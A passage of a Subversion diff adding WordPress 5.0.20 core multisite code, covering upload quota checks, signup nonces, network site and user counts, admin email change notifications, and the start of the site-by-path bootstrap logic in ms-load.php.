+				$global_id = $term_id;
+			}
+		}
+	}
+
+	if ( $global_id != $term_id ) {
+		if ( get_option( 'default_category' ) == $term_id )
+			update_option( 'default_category', $global_id );
+
+		$wpdb->update( $wpdb->terms, array('term_id' => $global_id), array('term_id' => $term_id) );
+		$wpdb->update( $wpdb->term_taxonomy, array('term_id' => $global_id), array('term_id' => $term_id) );
+		$wpdb->update( $wpdb->term_taxonomy, array('parent' => $global_id), array('parent' => $term_id) );
+
+		clean_term_cache($term_id);
+	}
+	if ( $recurse_start )
+		$global_terms_recurse = null;
+
+	return $global_id;
+}
+
+/**
+ * Ensure that the current site's domain is listed in the allowed redirect host list.
+ *
+ * @see wp_validate_redirect()
+ * @since MU (3.0.0)
+ *
+ * @param array|string $deprecated Not used.
+ * @return array The current site's domain
+ */
+function redirect_this_site( $deprecated = '' ) {
+	return array( get_network()->domain );
+}
+
+/**
+ * Check whether an upload is too big.
+ *
+ * @since MU (3.0.0)
+ *
+ * @blessed
+ *
+ * @param array $upload
+ * @return string|array If the upload is under the size limit, $upload is returned. Otherwise returns an error message.
+ */
+function upload_is_file_too_big( $upload ) {
+	if ( ! is_array( $upload ) || defined( 'WP_IMPORTING' ) || get_site_option( 'upload_space_check_disabled' ) )
+		return $upload;
+
+	if ( strlen( $upload['bits'] )  > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
+		return sprintf( __( 'This file is too big. Files must be less than %d KB in size.' ) . '<br />', get_site_option( 'fileupload_maxk', 1500 ) );
+	}
+
+	return $upload;
+}
+
+/**
+ * Add a nonce field to the signup page.
+ *
+ * @since MU (3.0.0)
+ */
+function signup_nonce_fields() {
+	$id = mt_rand();
+	echo "<input type='hidden' name='signup_form_id' value='{$id}' />";
+	wp_nonce_field('signup_form_' . $id, '_signup_form', false);
+}
+
+/**
+ * Process the signup nonce created in signup_nonce_fields().
+ *
+ * @since MU (3.0.0)
+ *
+ * @param array $result
+ * @return array
+ */
+function signup_nonce_check( $result ) {
+	if ( !strpos( $_SERVER[ 'PHP_SELF' ], 'wp-signup.php' ) )
+		return $result;
+
+	if ( wp_create_nonce('signup_form_' . $_POST[ 'signup_form_id' ]) != $_POST['_signup_form'] )
+		wp_die( __( 'Please try again.' ) );
+
+	return $result;
+}
+
+/**
+ * Correct 404 redirects when NOBLOGREDIRECT is defined.
+ *
+ * @since MU (3.0.0)
+ */
+function maybe_redirect_404() {
+	/**
+	 * Filters the redirect URL for 404s on the main site.
+	 *
+	 * The filter is only evaluated if the NOBLOGREDIRECT constant is defined.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $no_blog_redirect The redirect URL defined in NOBLOGREDIRECT.
+	 */
+	if ( is_main_site() && is_404() && defined( 'NOBLOGREDIRECT' ) && ( $destination = apply_filters( 'blog_redirect_404', NOBLOGREDIRECT ) ) ) {
+		if ( $destination == '%siteurl%' )
+			$destination = network_home_url();
+		wp_redirect( $destination );
+		exit();
+	}
+}
+
+/**
+ * Add a new user to a blog by visiting /newbloguser/{key}/.
+ *
+ * This will only work when the user's details are saved as an option
+ * keyed as 'new_user_{key}', where '{key}' is a hash generated for the user to be
+ * added, as when a user is invited through the regular WP Add User interface.
+ *
+ * @since MU (3.0.0)
+ */
+function maybe_add_existing_user_to_blog() {
+	if ( false === strpos( $_SERVER[ 'REQUEST_URI' ], '/newbloguser/' ) )
+		return;
+
+	$parts = explode( '/', $_SERVER[ 'REQUEST_URI' ] );
+	$key = array_pop( $parts );
+
+	if ( $key == '' )
+		$key = array_pop( $parts );
+
+	$details = get_option( 'new_user_' . $key );
+	if ( !empty( $details ) )
+		delete_option( 'new_user_' . $key );
+
+	if ( empty( $details ) || is_wp_error( add_existing_user_to_blog( $details ) ) )
+		wp_die( sprintf(__('An error occurred adding you to this site. Back to the <a href="%s">homepage</a>.'), home_url() ) );
+
+	wp_die( sprintf( __( 'You have been added to this site. Please visit the <a href="%s">homepage</a> or <a href="%s">log in</a> using your username and password.' ), home_url(), admin_url() ), __( 'WordPress &rsaquo; Success' ), array( 'response' => 200 ) );
+}
+
+/**
+ * Add a user to a blog based on details from maybe_add_existing_user_to_blog().
+ *
+ * @since MU (3.0.0)
+ *
+ * @param array $details
+ * @return true|WP_Error|void
+ */
+function add_existing_user_to_blog( $details = false ) {
+	if ( is_array( $details ) ) {
+		$blog_id = get_current_blog_id();
+		$result = add_user_to_blog( $blog_id, $details[ 'user_id' ], $details[ 'role' ] );
+
+		/**
+		 * Fires immediately after an existing user is added to a site.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param int   $user_id User ID.
+		 * @param mixed $result  True on success or a WP_Error object if the user doesn't exist
+		 *                       or could not be added.
+		 */
+		do_action( 'added_existing_user', $details['user_id'], $result );
+
+		return $result;
+	}
+}
+
+/**
+ * Adds a newly created user to the appropriate blog
+ *
+ * To add a user in general, use add_user_to_blog(). This function
+ * is specifically hooked into the {@see 'wpmu_activate_user'} action.
+ *
+ * @since MU (3.0.0)
+ * @see add_user_to_blog()
+ *
+ * @param int   $user_id
+ * @param mixed $password Ignored.
+ * @param array $meta
+ */
+function add_new_user_to_blog( $user_id, $password, $meta ) {
+	if ( !empty( $meta[ 'add_to_blog' ] ) ) {
+		$blog_id = $meta[ 'add_to_blog' ];
+		$role = $meta[ 'new_role' ];
+		remove_user_from_blog( $user_id, get_network()->site_id ); // remove user from main blog.
+
+		$result = add_user_to_blog( $blog_id, $user_id, $role );
+
+		if ( ! is_wp_error( $result ) ) {
+			update_user_meta( $user_id, 'primary_blog', $blog_id );
+		}
+	}
+}
+
+/**
+ * Correct From host on outgoing mail to match the site domain
+ *
+ * @since MU (3.0.0)
+ *
+ * @param PHPMailer $phpmailer The PHPMailer instance (passed by reference).
+ */
+function fix_phpmailer_messageid( $phpmailer ) {
+	$phpmailer->Hostname = get_network()->domain;
+}
+
+/**
+ * Check to see whether a user is marked as a spammer, based on user login.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string|WP_User $user Optional. Defaults to current user. WP_User object,
+ * 	                           or user login name as a string.
+ * @return bool
+ */
+function is_user_spammy( $user = null ) {
+    if ( ! ( $user instanceof WP_User ) ) {
+		if ( $user ) {
+			$user = get_user_by( 'login', $user );
+		} else {
+			$user = wp_get_current_user();
+		}
+	}
+
+	return $user && isset( $user->spam ) && 1 == $user->spam;
+}
+
+/**
+ * Update this blog's 'public' setting in the global blogs table.
+ *
+ * Public blogs have a setting of 1, private blogs are 0.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int $old_value
+ * @param int $value     The new public value
+ */
+function update_blog_public( $old_value, $value ) {
+	update_blog_status( get_current_blog_id(), 'public', (int) $value );
+}
+
+/**
+ * Check whether users can self-register, based on Network settings.
+ *
+ * @since MU (3.0.0)
+ *
+ * @return bool
+ */
+function users_can_register_signup_filter() {
+	$registration = get_site_option('registration');
+	return ( $registration == 'all' || $registration == 'user' );
+}
+
+/**
+ * Ensure that the welcome message is not empty. Currently unused.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $text
+ * @return string
+ */
+function welcome_user_msg_filter( $text ) {
+	if ( !$text ) {
+		remove_filter( 'site_option_welcome_user_email', 'welcome_user_msg_filter' );
+
+		/* translators: Do not translate USERNAME, PASSWORD, LOGINLINK, SITE_NAME: those are placeholders. */
+		$text = __( 'Howdy USERNAME,
+
+Your new account is set up.
+
+You can log in with the following information:
+Username: USERNAME
+Password: PASSWORD
+LOGINLINK
+
+Thanks!
+
+--The Team @ SITE_NAME' );
+		update_site_option( 'welcome_user_email', $text );
+	}
+	return $text;
+}
+
+/**
+ * Whether to force SSL on content.
+ *
+ * @since 2.8.5
+ *
+ * @staticvar bool $forced_content
+ *
+ * @param bool $force
+ * @return bool True if forced, false if not forced.
+ */
+function force_ssl_content( $force = '' ) {
+	static $forced_content = false;
+
+	if ( '' != $force ) {
+		$old_forced = $forced_content;
+		$forced_content = $force;
+		return $old_forced;
+	}
+
+	return $forced_content;
+}
+
+/**
+ * Formats a URL to use https.
+ *
+ * Useful as a filter.
+ *
+ * @since 2.8.5
+ *
+ * @param string $url URL
+ * @return string URL with https as the scheme
+ */
+function filter_SSL( $url ) {
+	if ( ! is_string( $url ) )
+		return get_bloginfo( 'url' ); // Return home blog url with proper scheme
+
+	if ( force_ssl_content() && is_ssl() )
+		$url = set_url_scheme( $url, 'https' );
+
+	return $url;
+}
+
+/**
+ * Schedule update of the network-wide counts for the current network.
+ *
+ * @since 3.1.0
+ */
+function wp_schedule_update_network_counts() {
+	if ( !is_main_site() )
+		return;
+
+	if ( ! wp_next_scheduled('update_network_counts') && ! wp_installing() )
+		wp_schedule_event(time(), 'twicedaily', 'update_network_counts');
+}
+
+/**
+ * Update the network-wide counts for the current network.
+ *
+ * @since 3.1.0
+ * @since 4.8.0 The $network_id parameter has been added.
+ *
+ * @param int|null $network_id ID of the network. Default is the current network.
+ */
+function wp_update_network_counts( $network_id = null ) {
+	wp_update_network_user_counts( $network_id );
+	wp_update_network_site_counts( $network_id );
+}
+
+/**
+ * Update the count of sites for the current network.
+ *
+ * If enabled through the {@see 'enable_live_network_counts'} filter, update the sites count
+ * on a network when a site is created or its status is updated.
+ *
+ * @since 3.7.0
+ * @since 4.8.0 The $network_id parameter has been added.
+ *
+ * @param int|null $network_id ID of the network. Default is the current network.
+ */
+function wp_maybe_update_network_site_counts( $network_id = null ) {
+	$is_small_network = ! wp_is_large_network( 'sites', $network_id );
+
+	/**
+	 * Filters whether to update network site or user counts when a new site is created.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @see wp_is_large_network()
+	 *
+	 * @param bool   $small_network Whether the network is considered small.
+	 * @param string $context       Context. Either 'users' or 'sites'.
+	 */
+	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'sites' ) )
+		return;
+
+	wp_update_network_site_counts( $network_id );
+}
+
+/**
+ * Update the network-wide users count.
+ *
+ * If enabled through the {@see 'enable_live_network_counts'} filter, update the users count
+ * on a network when a user is created or its status is updated.
+ *
+ * @since 3.7.0
+ * @since 4.8.0 The $network_id parameter has been added.
+ *
+ * @param int|null $network_id ID of the network. Default is the current network.
+ */
+function wp_maybe_update_network_user_counts( $network_id = null ) {
+	$is_small_network = ! wp_is_large_network( 'users', $network_id );
+
+	/** This filter is documented in wp-includes/ms-functions.php */
+	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) )
+		return;
+
+	wp_update_network_user_counts( $network_id );
+}
+
+/**
+ * Update the network-wide site count.
+ *
+ * @since 3.7.0
+ * @since 4.8.0 The $network_id parameter has been added.
+ *
+ * @param int|null $network_id ID of the network. Default is the current network.
+ */
+function wp_update_network_site_counts( $network_id = null ) {
+	$network_id = (int) $network_id;
+	if ( ! $network_id ) {
+		$network_id = get_current_network_id();
+	}
+
+	$count = get_sites( array(
+		'network_id' => $network_id,
+		'spam'       => 0,
+		'deleted'    => 0,
+		'archived'   => 0,
+		'count'      => true,
+	) );
+
+	update_network_option( $network_id, 'blog_count', $count );
+}
+
+/**
+ * Update the network-wide user count.
+ *
+ * @since 3.7.0
+ * @since 4.8.0 The $network_id parameter has been added.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|null $network_id ID of the network. Default is the current network.
+ */
+function wp_update_network_user_counts( $network_id = null ) {
+	global $wpdb;
+
+	$count = $wpdb->get_var( "SELECT COUNT(ID) as c FROM $wpdb->users WHERE spam = '0' AND deleted = '0'" );
+	update_network_option( $network_id, 'user_count', $count );
+}
+
+/**
+ * Returns the space used by the current blog.
+ *
+ * @since 3.5.0
+ *
+ * @return int Used space in megabytes
+ */
+function get_space_used() {
+	/**
+	 * Filters the amount of storage space used by the current site.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int|bool $space_used The amount of used space, in megabytes. Default false.
+	 */
+	$space_used = apply_filters( 'pre_get_space_used', false );
+	if ( false === $space_used ) {
+		$upload_dir = wp_upload_dir();
+		$space_used = get_dirsize( $upload_dir['basedir'] ) / MB_IN_BYTES;
+	}
+
+	return $space_used;
+}
+
+/**
+ * Returns the upload quota for the current blog.
+ *
+ * @since MU (3.0.0)
+ *
+ * @return int Quota in megabytes
+ */
+function get_space_allowed() {
+	$space_allowed = get_option( 'blog_upload_space' );
+
+	if ( ! is_numeric( $space_allowed ) )
+		$space_allowed = get_site_option( 'blog_upload_space' );
+
+	if ( ! is_numeric( $space_allowed ) )
+		$space_allowed = 100;
+
+	/**
+	 * Filters the upload quota for the current site.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param int $space_allowed Upload quota in megabytes for the current blog.
+	 */
+	return apply_filters( 'get_space_allowed', $space_allowed );
+}
+
+/**
+ * Determines if there is any upload space left in the current blog's quota.
+ *
+ * @since 3.0.0
+ *
+ * @return int of upload space available in bytes
+ */
+function get_upload_space_available() {
+	$allowed = get_space_allowed();
+	if ( $allowed < 0 ) {
+		$allowed = 0;
+	}
+	$space_allowed = $allowed * MB_IN_BYTES;
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return $space_allowed;
+
+	$space_used = get_space_used() * MB_IN_BYTES;
+
+	if ( ( $space_allowed - $space_used ) <= 0 )
+		return 0;
+
+	return $space_allowed - $space_used;
+}
+
+/**
+ * Determines if there is any upload space left in the current blog's quota.
+ *
+ * @since 3.0.0
+ * @return bool True if space is available, false otherwise.
+ */
+function is_upload_space_available() {
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return true;
+
+	return (bool) get_upload_space_available();
+}
+
+/**
+ * Filters the maximum upload file size allowed, in bytes.
+ *
+ * @since 3.0.0
+ *
+ * @param  int $size Upload size limit in bytes.
+ * @return int       Upload size limit in bytes.
+ */
+function upload_size_limit_filter( $size ) {
+	$fileupload_maxk = KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 );
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return min( $size, $fileupload_maxk );
+
+	return min( $size, $fileupload_maxk, get_upload_space_available() );
+}
+
+/**
+ * Whether or not we have a large network.
+ *
+ * The default criteria for a large network is either more than 10,000 users or more than 10,000 sites.
+ * Plugins can alter this criteria using the {@see 'wp_is_large_network'} filter.
+ *
+ * @since 3.3.0
+ * @since 4.8.0 The $network_id parameter has been added.
+ *
+ * @param string   $using      'sites or 'users'. Default is 'sites'.
+ * @param int|null $network_id ID of the network. Default is the current network.
+ * @return bool True if the network meets the criteria for large. False otherwise.
+ */
+function wp_is_large_network( $using = 'sites', $network_id = null ) {
+	$network_id = (int) $network_id;
+	if ( ! $network_id ) {
+		$network_id = get_current_network_id();
+	}
+
+	if ( 'users' == $using ) {
+		$count = get_user_count( $network_id );
+		/**
+		 * Filters whether the network is considered large.
+		 *
+		 * @since 3.3.0
+		 * @since 4.8.0 The $network_id parameter has been added.
+		 *
+		 * @param bool   $is_large_network Whether the network has more than 10000 users or sites.
+		 * @param string $component        The component to count. Accepts 'users', or 'sites'.
+		 * @param int    $count            The count of items for the component.
+		 * @param int    $network_id       The ID of the network being checked.
+		 */
+		return apply_filters( 'wp_is_large_network', $count > 10000, 'users', $count, $network_id );
+	}
+
+	$count = get_blog_count( $network_id );
+	/** This filter is documented in wp-includes/ms-functions.php */
+	return apply_filters( 'wp_is_large_network', $count > 10000, 'sites', $count, $network_id );
+}
+
+/**
+ * Retrieves a list of reserved site on a sub-directory Multisite installation.
+ *
+ * @since 4.4.0
+ *
+ * @return array $names Array of reserved subdirectory names.
+ */
+function get_subdirectory_reserved_names() {
+	$names = array(
+		'page', 'comments', 'blog', 'files', 'feed', 'wp-admin',
+		'wp-content', 'wp-includes', 'wp-json', 'embed'
+	);
+
+	/**
+	 * Filters reserved site names on a sub-directory Multisite installation.
+	 *
+	 * @since 3.0.0
+	 * @since 4.4.0 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', and 'embed' were added
+	 *              to the reserved names list.
+	 *
+	 * @param array $subdirectory_reserved_names Array of reserved names.
+	 */
+	return apply_filters( 'subdirectory_reserved_names', $names );
+}
+
+/**
+ * Send a confirmation request email when a change of network admin email address is attempted.
+ *
+ * The new network admin address will not become active until confirmed.
+ *
+ * @since 4.9.0
+ *
+ * @param string $old_value The old network admin email address.
+ * @param string $value     The proposed new network admin email address.
+ */
+function update_network_option_new_admin_email( $old_value, $value ) {
+	if ( $value == get_site_option( 'admin_email' ) || ! is_email( $value ) ) {
+		return;
+	}
+
+	$hash = md5( $value . time() . mt_rand() );
+	$new_admin_email = array(
+		'hash'     => $hash,
+		'newemail' => $value,
+	);
+	update_site_option( 'network_admin_hash', $new_admin_email );
+
+	$switched_locale = switch_to_locale( get_user_locale() );
+
+	/* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
+	$email_text = __( 'Howdy ###USERNAME###,
+
+You recently requested to have the network admin email address on
+your network changed.
+
+If this is correct, please click on the following link to change it:
+###ADMIN_URL###
+
+You can safely ignore and delete this email if you do not want to
+take this action.
+
+This email has been sent to ###EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+	/**
+	 * Filters the text of the email sent when a change of network admin email address is attempted.
+	 *
+	 * The following strings have a special meaning and will get replaced dynamically:
+	 * ###USERNAME###  The current user's username.
+	 * ###ADMIN_URL### The link to click on to confirm the email change.
+	 * ###EMAIL###     The proposed new network admin email address.
+	 * ###SITENAME###  The name of the network.
+	 * ###SITEURL###   The URL to the network.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $email_text      Text in the email.
+	 * @param array  $new_admin_email {
+	 *     Data relating to the new network admin email address.
+	 *
+	 *     @type string $hash     The secure hash used in the confirmation link URL.
+	 *     @type string $newemail The proposed new network admin email address.
+	 * }
+	 */
+	$content = apply_filters( 'new_network_admin_email_content', $email_text, $new_admin_email );
+
+	$current_user = wp_get_current_user();
+	$content = str_replace( '###USERNAME###', $current_user->user_login, $content );
+	$content = str_replace( '###ADMIN_URL###', esc_url( network_admin_url( 'settings.php?network_admin_hash=' . $hash ) ), $content );
+	$content = str_replace( '###EMAIL###', $value, $content );
+	$content = str_replace( '###SITENAME###', wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ), $content );
+	$content = str_replace( '###SITEURL###', network_home_url(), $content );
+
+	wp_mail( $value, sprintf( __( '[%s] New Network Admin Email Address' ), wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ) ), $content );
+
+	if ( $switched_locale ) {
+		restore_previous_locale();
+	}
+}
+
+/**
+ * Send an email to the old network admin email address when the network admin email address changes.
+ *
+ * @since 4.9.0
+ *
+ * @param string $option_name The relevant database option name.
+ * @param string $new_email   The new network admin email address.
+ * @param string $old_email   The old network admin email address.
+ * @param int    $network_id  ID of the network.
+ */
+function wp_network_admin_email_change_notification( $option_name, $new_email, $old_email, $network_id ) {
+	$send = true;
+
+	// Don't send the notification to the default 'admin_email' value.
+	if ( 'you@example.com' === $old_email ) {
+		$send = false;
+	}
+
+	/**
+	 * Filters whether to send the network admin email change notification email.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param bool   $send       Whether to send the email notification.
+	 * @param string $old_email  The old network admin email address.
+	 * @param string $new_email  The new network admin email address.
+	 * @param int    $network_id ID of the network.
+	 */
+	$send = apply_filters( 'send_network_admin_email_change_email', $send, $old_email, $new_email, $network_id );
+
+	if ( ! $send ) {
+		return;
+	}
+
+	/* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
+	$email_change_text = __( 'Hi,
+
+This notice confirms that the network admin email address was changed on ###SITENAME###.
+
+The new network admin email address is ###NEW_EMAIL###.
+
+This email has been sent to ###OLD_EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+	$email_change_email = array(
+		'to'      => $old_email,
+		/* translators: Network admin email change notification email subject. %s: Network title */
+		'subject' => __( '[%s] Notice of Network Admin Email Change' ),
+		'message' => $email_change_text,
+		'headers' => '',
+	);
+	// get network name
+	$network_name = wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES );
+
+	/**
+	 * Filters the contents of the email notification sent when the network admin email address is changed.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $email_change_email {
+	 *            Used to build wp_mail().
+	 *
+	 *            @type string $to      The intended recipient.
+	 *            @type string $subject The subject of the email.
+	 *            @type string $message The content of the email.
+	 *                The following strings have a special meaning and will get replaced dynamically:
+	 *                - ###OLD_EMAIL### The old network admin email address.
+	 *                - ###NEW_EMAIL### The new network admin email address.
+	 *                - ###SITENAME###  The name of the network.
+	 *                - ###SITEURL###   The URL to the site.
+	 *            @type string $headers Headers.
+	 *        }
+	 * @param string $old_email  The old network admin email address.
+	 * @param string $new_email  The new network admin email address.
+	 * @param int    $network_id ID of the network.
+	 */
+	$email_change_email = apply_filters( 'network_admin_email_change_email', $email_change_email, $old_email, $new_email, $network_id );
+
+	$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email,    $email_change_email['message'] );
+	$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email,    $email_change_email['message'] );
+	$email_change_email['message'] = str_replace( '###SITENAME###',  $network_name, $email_change_email['message'] );
+	$email_change_email['message'] = str_replace( '###SITEURL###',   home_url(),    $email_change_email['message'] );
+
+	wp_mail( $email_change_email['to'], sprintf(
+		$email_change_email['subject'],
+		$network_name
+	), $email_change_email['message'], $email_change_email['headers'] );
+}
Index: /tags/5.0.20/src/wp-includes/ms-load.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ms-load.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ms-load.php	(revision 56912)
@@ -0,0 +1,551 @@
+<?php
+/**
+ * These functions are needed to load Multisite.
+ *
+ * @since 3.0.0
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ */
+
+/**
+ * Whether a subdomain configuration is enabled.
+ *
+ * @since 3.0.0
+ *
+ * @return bool True if subdomain configuration is enabled, false otherwise.
+ */
+function is_subdomain_install() {
+	if ( defined('SUBDOMAIN_INSTALL') )
+		return SUBDOMAIN_INSTALL;
+
+	return ( defined( 'VHOST' ) && VHOST == 'yes' );
+}
+
+/**
+ * Returns array of network plugin files to be included in global scope.
+ *
+ * The default directory is wp-content/plugins. To change the default directory
+ * manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` in `wp-config.php`.
+ *
+ * @access private
+ * @since 3.1.0
+ *
+ * @return array Files to include.
+ */
+function wp_get_active_network_plugins() {
+	$active_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
+	if ( empty( $active_plugins ) )
+		return array();
+
+	$plugins = array();
+	$active_plugins = array_keys( $active_plugins );
+	sort( $active_plugins );
+
+	foreach ( $active_plugins as $plugin ) {
+		if ( ! validate_file( $plugin ) // $plugin must validate as file
+			&& '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'
+			&& file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist
+			)
+		$plugins[] = WP_PLUGIN_DIR . '/' . $plugin;
+	}
+	return $plugins;
+}
+
+/**
+ * Checks status of current blog.
+ *
+ * Checks if the blog is deleted, inactive, archived, or spammed.
+ *
+ * Dies with a default message if the blog does not pass the check.
+ *
+ * To change the default message when a blog does not pass the check,
+ * use the wp-content/blog-deleted.php, blog-inactive.php and
+ * blog-suspended.php drop-ins.
+ *
+ * @since 3.0.0
+ *
+ * @return true|string Returns true on success, or drop-in file to include.
+ */
+function ms_site_check() {
+
+	/**
+	 * Filters checking the status of the current blog.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool null Whether to skip the blog status check. Default null.
+	*/
+	$check = apply_filters( 'ms_site_check', null );
+	if ( null !== $check )
+		return true;
+
+	// Allow super admins to see blocked sites
+	if ( is_super_admin() )
+		return true;
+
+	$blog = get_site();
+
+	if ( '1' == $blog->deleted ) {
+		if ( file_exists( WP_CONTENT_DIR . '/blog-deleted.php' ) )
+			return WP_CONTENT_DIR . '/blog-deleted.php';
+		else
+			wp_die( __( 'This site is no longer available.' ), '', array( 'response' => 410 ) );
+	}
+
+	if ( '2' == $blog->deleted ) {
+		if ( file_exists( WP_CONTENT_DIR . '/blog-inactive.php' ) ) {
+			return WP_CONTENT_DIR . '/blog-inactive.php';
+		} else {
+			$admin_email = str_replace( '@', ' AT ', get_site_option( 'admin_email', 'support@' . get_network()->domain ) );
+			wp_die(
+				/* translators: %s: admin email link */
+				sprintf( __( 'This site has not been activated yet. If you are having problems activating your site, please contact %s.' ),
+					sprintf( '<a href="mailto:%s">%s</a>', $admin_email )
+				)
+			);
+		}
+	}
+
+	if ( $blog->archived == '1' || $blog->spam == '1' ) {
+		if ( file_exists( WP_CONTENT_DIR . '/blog-suspended.php' ) )
+			return WP_CONTENT_DIR . '/blog-suspended.php';
+		else
+			wp_die( __( 'This site has been archived or suspended.' ), '', array( 'response' => 410 ) );
+	}
+
+	return true;
+}
+
+/**
+ * Retrieve the closest matching network for a domain and path.
+ *
+ * @since 3.9.0
+ *
+ * @internal In 4.4.0, converted to a wrapper for WP_Network::get_by_path()
+ *
+ * @param string   $domain   Domain to check.
+ * @param string   $path     Path to check.
+ * @param int|null $segments Path segments to use. Defaults to null, or the full path.
+ * @return WP_Network|false Network object if successful. False when no network is found.
+ */
+function get_network_by_path( $domain, $path, $segments = null ) {
+	return WP_Network::get_by_path( $domain, $path, $segments );
+}
+
+/**
+ * Retrieves the closest matching site object by its domain and path.
+ *
+ * This will not necessarily return an exact match for a domain and path. Instead, it
+ * breaks the domain and path into pieces that are then used to match the closest
+ * possibility from a query.
+ *
+ * The intent of this method is to match a site object during bootstrap for a
+ * requested site address
+ *
+ * @since 3.9.0
+ * @since 4.7.0 Updated to always return a `WP_Site` object.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string   $domain   Domain to check.
+ * @param string   $path     Path to check.
+ * @param int|null $segments Path segments to use. Defaults to null, or the full path.
+ * @return WP_Site|false Site object if successful. False when no site is found.
+ */
+function get_site_by_path( $domain, $path, $segments = null ) {
+	$path_segments = array_filter( explode( '/', trim( $path, '/' ) ) );
+
+	/**
+	 * Filters the number of path segments to consider when searching for a site.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
+	 *                           one path segment following the network path. The function default of
+	 *                           null only makes sense when you know the requested path should match a site.
+	 * @param string   $domain   The requested domain.
+	 * @param string   $path     The requested path, in full.
+	 */
+	$segments = apply_filters( 'site_by_path_segments_count', $segments, $domain, $path );
+
+	if ( null !== $segments && count( $path_segments ) > $segments ) {
+		$path_segments = array_slice( $path_segments, 0, $segments );
+	}
+
+	$paths = array();
+
+	while ( count( $path_segments ) ) {
+		$paths[] = '/' . implode( '/', $path_segments ) . '/';
+		array_pop( $path_segments );
+	}
+
+	$paths[] = '/';
+
+	/**
+	 * Determine a site by its domain and path.
+	 *
+	 * This allows one to short-circuit the default logic, perhaps by
+	 * replacing it with a routine that is more optimal for your setup.
+	 *
+	 * Return null to avoid the short-circuit. Return false if no site
+	 * can be found at the requested domain and path. Otherwise, return
+	 * a site object.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param null|bool|WP_Site $site     Site value to return by path.
+	 * @param string            $domain   The requested domain.
+	 * @param string            $path     The requested path, in full.
+	 * @param int|null          $segments The suggested number of paths to consult.
+	 *                                    Default null, meaning the entire path was to be consulted.
+	 * @param array             $paths    The paths to search for, based on $path and $segments.
+	 */
+	$pre = apply_filters( 'pre_get_site_by_path', null, $domain, $path, $segments, $paths );
+	if ( null !== $pre ) {
+		if ( false !== $pre && ! $pre instanceof WP_Site ) {
+			$pre = new WP_Site( $pre );
+		}
+		return $pre;
+	}
+
+	/*
+	 * @todo
+	 * caching, etc. Consider alternative optimization routes,
+	 * perhaps as an opt-in for plugins, rather than using the pre_* filter.
+	 * For example: The segments filter can expand or ignore paths.
+	 * If persistent caching is enabled, we could query the DB for a path <> '/'
+	 * then cache whether we can just always ignore paths.
+	 */
+
+	// Either www or non-www is supported, not both. If a www domain is requested,
+	// query for both to provide the proper redirect.
+	$domains = array( $domain );
+	if ( 'www.' === substr( $domain, 0, 4 ) ) {
+		$domains[] = substr( $domain, 4 );
+	}
+
+	$args = array(
+		'domain__in' => $domains,
+		'path__in' => $paths,
+		'number' => 1,
+	);
+
+	if ( count( $domains ) > 1 ) {
+		$args['orderby']['domain_length'] = 'DESC';
+	}
+
+	if ( count( $paths ) > 1 ) {
+		$args['orderby']['path_length'] = 'DESC';
+	}
+
+	$result = get_sites( $args );
+	$site = array_shift( $result );
+
+	if ( $site ) {
+		return $site;
+	}
+
+	return false;
+}
+
+/**
+ * Identifies the network and site of a requested domain and path and populates the
+ * corresponding network and site global objects as part of the multisite bootstrap process.
+ *
+ * Prior to 4.6.0, this was a procedural block in `ms-settings.php`. It was wrapped into
+ * a function to facilitate unit tests. It should not be used outside of core.
+ *
+ * Usually, it's easier to query the site first, which then declares its network.
+ * In limited situations, we either can or must find the network first.
+ *
+ * If a network and site are found, a `true` response will be returned so that the
+ * request can continue.
+ *
+ * If neither a network or site is found, `false` or a URL string will be returned
+ * so that either an error can be shown or a redirect can occur.
+ *
+ * @since 4.6.0
+ * @access private
+ *
+ * @global WP_Network $current_site The current network.
+ * @global WP_Site    $current_blog The current site.
+ *
+ * @param string $domain    The requested domain.
+ * @param string $path      The requested path.
+ * @param bool   $subdomain Optional. Whether a subdomain (true) or subdirectory (false) configuration.
+ *                          Default false.
+ * @return bool|string True if bootstrap successfully populated `$current_blog` and `$current_site`.
+ *                     False if bootstrap could not be properly completed.
+ *                     Redirect URL if parts exist, but the request as a whole can not be fulfilled.
+ */
+function ms_load_current_site_and_network( $domain, $path, $subdomain = false ) {
+	global $current_site, $current_blog;
+
